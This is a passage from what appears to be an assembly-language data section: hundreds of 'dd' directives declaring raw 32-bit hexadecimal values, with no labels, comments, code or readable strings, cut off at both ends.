1CA2CFh, 676F02D9h, 0C09FD81h dd 0E485D3h, 2A4C8A18h, 1F20EA8Dh, 40F608B3h, 420490EFh dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h, 6122E02Bh dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h, 0A0E50045h dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh, 401FB42Ah dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh dd 7FF9083h, 1D100518h, 0AD21F088h, 39E024F9h, 46D4D00Fh dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh, 0E003D1F1h dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h, 0EE5BCC0Ch dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h dd 15D01747h dd 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h dd 90E804F0h, 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h dd 8C1FA5A1h, 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h dd 2E4051E2h, 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h dd 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh dd 9E6C4027h, 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h dd 386412h, 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h dd 38EC74C4h, 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh dd 4400040Fh, 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh dd 48C800C3h, 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h dd 7F1D018h, 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h dd 6D40703Eh, 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh dd 0B9071C09h, 5AD09F7Bh dd 347480BBh, 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh dd 79015C79h, 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h dd 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h dd 137FCA4h, 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h, 0F2570089h dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh dd 7536EDE0h, 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh, 9223BFh dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h dd 0B70F70h, 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h dd 6FE60B27h, 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh dd 8B1C09CCh, 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch dd 204099B2h dd 904210Ah, 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h dd 5ADC3Eh, 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h dd 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h dd 6738B82h, 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h, 0CFF9BAB0h dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch, 3A144143h dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h dd 938013Ah, 97791257h, 0F3C10E0h, 9472B84Ah, 0DE041DFDh dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h, 8FA5F163h dd 9C362F9h, 92072C11h, 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h, 47914EDAh dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h dd 20C897Ah, 48202523h, 0C3001CBCh, 0E9880534h, 43AD0677h dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h, 90067D24h dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h, 8905B4Bh dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h, 9E9D51E0h dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh dd 275C08Bh, 15392B94h, 9E059CA9h, 0FE081380h, 749CB254h dd 61800E1h, 2F23B459h, 0FA03A25Ch, 6445A88Bh, 71C59088h dd 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h, 0F1ACBCB4h dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h dd 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h, 36F02200h dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h dd 9636641h, 1D4B9085h, 9DBFFB83h, 948F00ACh, 0FA71EA55h dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh, 1A961130h dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h, 4CD701E2h dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah, 7402320h dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h, 9541015Fh dd 39FD3B0h, 1913CC45h, 0A2900D66h, 4207D55Ch, 1A6CFD9Dh dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h dd 7598ABCh, 2F06BD83h, 91590FEh, 8B005184h, 1CEEAA41h dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h, 8E431330h dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah, 8C8F878h dd 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h, 440099A0h dd 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h, 80CD4A5h dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h, 810FF9EEh dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah, 3AC07788h dd 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h, 14D010F0h dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h, 0B78E13B9h dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h, 89D1673Dh dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh dd 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h, 28853AF3h dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h dd 5357AED6h, 0D83900FAh dd 68518376h, 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h dd 637C0CACh, 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h dd 552D098Eh, 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 